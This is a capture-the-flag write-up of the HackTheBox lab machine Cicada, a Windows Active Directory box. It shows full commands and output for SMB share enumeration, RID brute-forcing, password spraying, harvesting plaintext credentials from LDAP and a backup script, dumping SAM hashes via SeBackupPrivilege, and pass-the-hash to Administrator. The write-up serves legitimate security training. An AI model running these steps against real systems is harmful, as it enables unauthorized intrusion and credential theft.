Cicada
Walkthrough of the Cicada machine – pulling a default password from a leftover HR notice on an anonymous SMB share, RID-brute-forcing the user list, spraying the password to land a foothold, pivoting through a plaintext password in an LDAP description field and a credential left in a backup script, then abusing SeBackupPrivilege to dump the SAM and pass-the-hash as Administrator.
Cicada - HackTheBox Writeup
Cicada is an Easy Windows machine on HackTheBox. It’s built around beginner-friendly Active Directory enumeration and exploitation: an anonymously readable SMB share leaks a default password, RID brute-forcing exposes the domain’s user list, a password spray lands a low-privileged foothold, and from there a trail of leftover credentials — one sitting in an LDAP description field, another hardcoded in a backup script — leads to a user whose SeBackupPrivilege makes it possible to dump the SAM database and pass-the-hash straight to Administrator.
Box Info
- Name: Cicada
- Difficulty: Easy
- OS: Windows
- Release Date: 28 Sep 2024
- Retire Date:
- Creator: theblxckcicada
Recon
nmap
nmap -p- –min-rate 10000 -oN cicada_initial 10.129.73.59
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┌──🦊 T4T4R1S IP ➜ 10.211.55.3 10.10.17.213 ~/machines/cicada
└─👀 ➜ nmap -p- --min-rate 10000 -oN cicada_initial 10.129.73.59
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
The port list already smells like Active Directory, so I went deeper on those services.
nmap -p53,135,139,445,593,52840,464,636,3268,3269,5985 -sCV -oN cicada_deep 10.129.73.59
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┌──🦊 T4T4R1S IP ➜ 10.211.55.3 10.10.17.213 ~/machines/cicada
└─👀 ➜ nmap -p53,135,139,445,593,52840,464,636,3268,3269,5985 -sCV -oN cicada_deep 10.129.73.59
Starting Nmap 7.95 ( https://nmap.org ) at 2026-10-18 21:33 EEST
Nmap scan report for 10.129.73.59
Host is up (0.22s latency).
PORT STATE SERVICE VERSION
53/tcp open domain (generic dns response: SERVFAIL)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp filtered http-rpc-epmap
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: DNS:CICADA-DC.cicada.htb
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
52840/tcp filtered unknown
Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 94.10 seconds
This confirmed the domain name, cicada.htb, along with LDAP, SMB, and WinRM all open:
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3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
I added the DC to /etc/hosts:
**echo “10.129.73.59 cicada-dc” sudo tee -a /etc/hosts**
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┌──🦊 T4T4R1S IP ➜ 10.211.55.3 10.10.17.213 ~/machines/cicada
└─👀 ➜ echo "10.129.73.59 cicada-dc" | sudo tee -a /etc/hosts
10.129.73.59 cicada-dc
DNS / SMB Enumeration
DNS — Zone Transfer (Failed)
dig axfr @10.129.73.59 cicada-dc
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┌──🦊 T4T4R1S IP ➜ 10.211.55.3 10.10.17.213 ~/machines/cicada
└─👀 ➜ dig axfr @10.129.73.59 cicada-dc
; <<>> DiG 9.20.9-1-Debian <<>> axfr @10.129.73.59 cicada-dc
; (1 server found)
;; global options: +cmd
; Transfer failed.
Enumerate SMB
smbclient -L \\cicada-dc\
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┌──🦊 T4T4R1S IP ➜ 10.211.55.3 10.10.17.213 ~/machines/cicada
└─👀 ➜ smbclient -L \\cicada-dc\
Password for [WORKGROUP\root]:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
DEV Disk
HR Disk
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
A handful of shares turned up. I tried connecting to each as an anonymous user — HR was the only one that let me in:
smbclient \\cicada-dc\DEV
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┌──🦊 T4T4R1S IP ➜ 10.211.55.3 10.10.17.213 ~/machines/cicada
└─👀 ➜ smbclient \\\\cicada-dc\\DEV
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
smb: \> ^C
smbclient \\cicada-dc\HR
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┌──🦊 T4T4R1S IP ➜ 10.211.55.3 10.10.17.213 ~/machines/cicada
└─👀 ➜ smbclient \\\\cicada-dc\\HR
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Mar 14 14:29:09 2024
.. D 0 Thu Mar 14 14:21:29 2024
Notice from HR.txt A 1266 Wed Aug 28 20:31:48 2024
4168447 blocks of size 4096. 481544 blocks available
smb: \>
DEV was locked down, but HR had one file worth grabbing — Notice from HR.txt:
mget “Notice from HR.txt”
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smb: \> mget "Notice from HR.txt"
Get file Notice from HR.txt? yes
getting file \Notice from HR.txt of size 1266 as Notice from HR.txt (1.8 KiloBytes/sec) (average 1.8 KiloBytes/sec)
smb: \> ^C
Reading it revealed a default password meant for a new hire whose account I didn’t know yet:
cat Notice\ from\ HR.txt
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┌──🦊 T4T4R1S IP ➜ 10.211.55.3 10.10.17.213 ~/machines/cicada
└─👀 ➜ cat Notice\ from\ HR.txt
Dear new hire!
Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our security protocols, it's essential that you change your default password to something unique and secure.
Your default password is: Cicada$M6Corpb*@Lp#nZp!8
To change your password:
1. Log in to your Cicada Corp account using the provided username and the default password mentioned above.
2. Once logged in, navigate to your account settings or profile settings section.
3. Look for the option to change your password. This will be labeled as "Change Password".
4. Follow the prompts to create a new password. Make sure your new password is strong, containing a mix of uppercase letters, lowercase letters, numbers, and special characters.
5. After changing your password, make sure to save your changes.
Remember, your password is a crucial aspect of keeping your account secure. Please do not share your password with anyone, and ensure you use a complex password.
If you encounter any issues or need assistance with changing your password, don't hesitate to reach out to our support team at support@cicada.htb.
Thank you for your attention to this matter, and once again, welcome to the Cicada Corp team!
Best regards,
Cicada Corp
Password recovered: Cicada$M6Corpb*@Lp#nZp!8. Now I needed a list of valid usernames to spray it against.
Initial Access — RID Brute-Force + Password Spray
What is this? Every AD account has a SID ending in a RID (Relative Identifier), and RIDs are assigned sequentially. If you can authenticate anonymously or as guest, you can walk through RID values and resolve each one back to a username — enumerating the full user list without any real credentials. From there, spraying one known password across every discovered account is far less likely to trigger lockouts than brute-forcing one account with many passwords.
I ran a RID brute-force with NetExec using the guest account:
nxc smb cicada-dc -u guest -p ‘’ –rid-brute
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┌──🦊 T4T4R1S IP ➜ 10.211.55.3 10.10.17.213 ~/machines/cicada
└─👀 ➜ nxc smb cicada-dc -u guest -p '' --rid-brute
SMB 10.129.73.59 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.129.73.59 445 CICADA-DC [+] cicada.htb\guest:
SMB 10.129.73.59 445 CICADA-DC 500: CICADA\Administrator (SidTypeUser)
SMB 10.129.73.59 445 CICADA-DC 501: CICADA\Guest (SidTypeUser)
SMB 10.129.73.59 445 CICADA-DC 502: CICADA\krbtgt (SidTypeUser)
SMB 10.129.73.59 445 CICADA-DC 1000: CICADA\CICADA-DC$ (SidTypeUser)
SMB 10.129.73.59 445 CICADA-DC 1104: CICADA\john.smoulder (SidTypeUser)
SMB 10.129.73.59 445 CICADA-DC 1105: CICADA\sarah.dantelia (SidTypeUser)
SMB 10.129.73.59 445 CICADA-DC 1106: CICADA\michael.wrightson (SidTypeUser)
SMB 10.129.73.59 445 CICADA-DC 1108: CICADA\david.orelious (SidTypeUser)
SMB 10.129.73.59 445 CICADA-DC 1601: CICADA\emily.oscars (SidTypeUser)
A full list of accounts came back. I filtered it down to just the usernames:
**netexec smb CICADA-DC -u guest -p ‘’ –rid-brute grep SidTypeUser cut -d’\’ -f2 cut -d’ ‘ -f1 tee users**
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┌──🦊 T4T4R1S IP ➜ 10.211.55.3 10.10.17.213 ~/machines/cicada
└─👀 ➜ netexec smb CICADA-DC -u guest -p '' --rid-brute | grep SidTypeUser | cut -d'\' -f2 | cut -d' ' -f1 | tee users
Administrator
Guest
krbtgt
CICADA-DC$
john.smoulder
sarah.dantelia
michael.wrightson
david.orelious
emily.oscars
With a user list and the default password from HR’s notice, I sprayed it across every account. It worked against michael.wrightson:
netexec smb CICADA-DC -u users -p ‘Cicada$M6Corpb*@Lp#nZp!8’
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┌──🦊 T4T4R1S IP ➜ 10.211.55.3 10.10.17.213 ~/machines/cicada
└─👀 ➜ netexec smb CICADA-DC -u users -p 'Cicada$M6Corpb*@Lp#nZp!8'
SMB 10.129.73.59 445 CICADA-DC [-] cicada.htb\Administrator:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.129.73.59 445 CICADA-DC [-] cicada.htb\Guest:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.129.73.59 445 CICADA-DC [-] cicada.htb\krbtgt:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.129.73.59 445 CICADA-DC [-] cicada.htb\john.smoulder:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.129.73.59 445 CICADA-DC [-] cicada.htb\sarah.dantelia:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.129.73.59 445 CICADA-DC [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
Pivoting — LDAP Description Field → Backup Script
michael.wrightson’s credentials didn’t work over WinRM:
evil-winrm -i cicada-dc -u michael.wrightson -p ‘Cicada$M6Corpb*@Lp#nZp!8’
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┌──🦊 T4T4R1S IP ➜ 10.211.55.3 10.10.17.213 ~/machines/cicada
└─👀 ➜ evil-winrm -i 10.129.231.149 -u michael.wrightson -p Cicada$M6Corpb*@Lp#nZpclear
So I checked what SMB access the account actually had, hoping it had more than the anonymous session did:
netexec smb CICADA-DC -u michael.wrightson -p ‘Cicada$M6Corpb*@Lp#nZp!8’ –shares
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┌──🦊 T4T4R1S IP ➜ 10.211.55.3 10.10.17.213 ~/machines/cicada
└─👀 ➜ netexec smb CICADA-DC -u michael.wrightson -p 'Cicada$M6Corpb*@Lp#nZp!8' --shares
SMB 10.129.73.59 445 CICADA-DC [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
SMB 10.129.73.59 445 CICADA-DC Share Permissions Remark
SMB 10.129.73.59 445 CICADA-DC ADMIN$ Remote Admin
SMB 10.129.73.59 445 CICADA-DC C$ Default share
SMB 10.129.73.59 445 CICADA-DC DEV
SMB 10.129.73.59 445 CICADA-DC HR READ
SMB 10.129.73.59 445 CICADA-DC IPC$ READ Remote IPC
SMB 10.129.73.59 445 CICADA-DC NETLOGON READ Logon server share
SMB 10.129.73.59 445 CICADA-DC SYSVOL READ Logon server share
Nothing new there, so I moved on to LDAP enumeration instead:
nxc ldap cicada-dc -u michael.wrightson -p ‘Cicada$M6Corpb*@Lp#nZp!8’ –users
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┌──🦊 T4T4R1S IP ➜ 10.211.55.3 10.10.17.213 ~/machines/cicada
└─👀 ➜ nxc ldap cicada-dc -u michael.wrightson -p 'Cicada$M6Corpb*@Lp#nZp!8' --users
LDAP 10.129.73.59 389 CICADA-DC [*] Enumerated 8 domain users: cicada.htb
LDAP 10.129.73.59 389 CICADA-DC -Username- -Last PW Set- -BadPW- -Description-
LDAP 10.129.73.59 389 CICADA-DC Administrator 2024-08-26 23:08:03 1 Built-in account for administering the computer/domain
LDAP 10.129.73.59 389 CICADA-DC Guest 2024-08-28 20:26:56 1 Built-in account for guest access to the computer/domain
LDAP 10.129.73.59 389 CICADA-DC krbtgt 2024-03-14 13:14:10 1 Key Distribution Center Service Account
LDAP 10.129.73.59 389 CICADA-DC john.smoulder 2024-03-14 14:17:29 1
LDAP 10.129.73.59 389 CICADA-DC sarah.dantelia 2024-03-14 14:17:29 1
LDAP 10.129.73.59 389 CICADA-DC michael.wrightson 2024-03-14 14:17:29 0
LDAP 10.129.73.59 389 CICADA-DC david.orelious 2024-03-14 14:17:29 0 Just in case I forget my password is aRt$Lp#7t*VQ!3
david.orelious had a plaintext password sitting right in the account description field: aRt$Lp#7t*VQ!3. I checked what that account could access:
netexec smb CICADA-DC -u david.orelious -p ‘aRt$Lp#7t*VQ!3’ –shares
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┌──🦊 T4T4R1S IP ➜ 10.211.55.3 10.10.17.213 ~/machines/cicada
└─👀 ➜ netexec smb CICADA-DC -u david.orelious -p 'aRt$Lp#7t*VQ!3' --shares
SMB 10.129.73.59 445 CICADA-DC [+] cicada.htb\david.orelious:aRt$Lp#7t*VQ!3
SMB 10.129.73.59 445 CICADA-DC Share Permissions Remark
SMB 10.129.73.59 445 CICADA-DC ADMIN$ Remote Admin
SMB 10.129.73.59 445 CICADA-DC C$ Default share
SMB 10.129.73.59 445 CICADA-DC DEV READ
SMB 10.129.73.59 445 CICADA-DC HR READ
SMB 10.129.73.59 445 CICADA-DC IPC$ READ Remote IPC
SMB 10.129.73.59 445 CICADA-DC NETLOGON READ Logon server share
SMB 10.129.73.59 445 CICADA-DC SYSVOL READ Logon server share
This account had read access to DEV, the share that had refused me earlier:
smbclient -U david.orelious \\cicada-dc\DEV
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┌──🦊 T4T4R1S IP ➜ 10.211.55.3 10.10.17.213 ~/machines/cicada
└─👀 ➜ smbclient -U david.orelious \\\\cicada-dc\\DEV
Password for [WORKGROUP\david.orelious]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Mar 14 14:31:39 2024
.. D 0 Thu Mar 14 14:21:29 2024
Backup_script.ps1 A 601 Wed Aug 28 20:28:22 2024
4168447 blocks of size 4096. 481066 blocks available
smb: \>
A backup script — these often run as a service account and hardcode its credentials:
cat Backup_script.ps1
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┌──🦊 T4T4R1S IP ➜ 10.211.55.3 10.10.17.213 ~/machines/cicada
└─👀 ➜ cat Backup_script.ps1
$sourceDirectory = "C:\smb"
$destinationDirectory = "D:\Backup"
$username = "emily.oscars"
$password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force
$credentials = New-Object System.Management.Automation.PSCredential($username, $password)
$dateStamp = Get-Date -Format "yyyyMMdd_HHmmss"
$backupFileName = "smb_backup_$dateStamp.zip"
$backupFilePath = Join-Path -Path $destinationDirectory -ChildPath $backupFileName
Compress-Archive -Path $sourceDirectory -DestinationPath $backupFilePath
Write-Host "Backup completed successfully. Backup file saved to: $backupFilePath"
Exactly that — plaintext credentials for emily.oscars: Q!3@Lp#M6b*7t*Vt.
Foothold — Evil-WinRM
evil-winrm -i cicada-dc -u emily.oscars -p ‘Q!3@Lp#M6b7tVt’
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┌──🦊 T4T4R1S IP ➜ 10.211.55.3 10.10.17.213 ~/machines/cicada
└─👀 ➜ evil-winrm -i cicada-dc -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents>
This credential worked, giving me a shell as emily.oscars. User flag:
ls (Desktop)
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*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop> ls
Directory: C:\Users\emily.oscars.CICADA\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 10/20/2026 7:58 AM 34 user.txt
Privilege Escalation — SeBackupPrivilege
Before reaching for BloodHound, I checked what privileges this account actually had:
whoami /priv
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*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
What is this?
SeBackupPrivilegelets an account read any file on the system — including the SAM, SECURITY, and SYSTEM registry hives — bypassing normal file ACLs, because Windows backup software needs to be able to read everything regardless of permissions. With this right, you can pull the local SAM database offline and crack it, without ever needing to touch LSASS or trigger EDR the way a credential dump normally would.
I saved the SYSTEM and SAM hives to disk:
reg save HKLM\SYSTEM SYSTEM.SAV / reg save HKLM\SAM SAM.SAV
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*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop> reg save HKLM\SYSTEM SYSTEM.SAV
The operation completed successfully.
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop> reg save HKLM\SAM SAM.SAV
The operation completed successfully.
Then downloaded both:
download SAM.SAV / download SYSTEM.SAV
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*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop> download SAM.SAV
Info: Downloading C:\Users\emily.oscars.CICADA\Desktop\SAM.SAV to SAM.SAV
Info: Download successful!
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop> download SYSTEM.SAV
Info: Downloading C:\Users\emily.oscars.CICADA\Desktop\SYSTEM.SAV to SYSTEM.SAV
Info: Download successful!
Dumping the Administrator Hash
impacket-secretsdump -sam SAM.SAV -system SYSTEM.SAV local
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┌──🦊 T4T4R1S IP ➜ 10.211.55.3 10.10.17.213 ~/machines/cicada
└─👀 ➜ impacket-secretsdump -sam SAM.SAV -system SYSTEM.SAV local
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0x3c2b033757a49110a9ee680b46e8d620
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Cleaning up...
With the Administrator NTLM hash in hand, I passed it straight to evil-winrm:
evil-winrm -i cicada-dc -u administrator -H 2b87e7c93a3e8a0ea4a581937016f341
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┌──🦊 T4T4R1S IP ➜ 10.211.55.3 10.10.17.213 ~/machines/cicada
└─👀 ➜ evil-winrm -i cicada-dc -u administrator -H 2b87e7c93a3e8a0ea4a581937016f341
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
Root flag:
ls (Desktop)
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*Evil-WinRM* PS C:\Users\Administrator\desktop> ls
Directory: C:\Users\Administrator\desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 10/20/2026 7:58 AM 34 root.txt
Domain Admin / SYSTEM obtained. Solved – happy hacking!
Find me online:
- TryHackMe: t4t4r1s
- HackTheBox: t4t4r1s
- LinkedIn: Mustafa Eltayeb
- X: @mustafa_altayeb
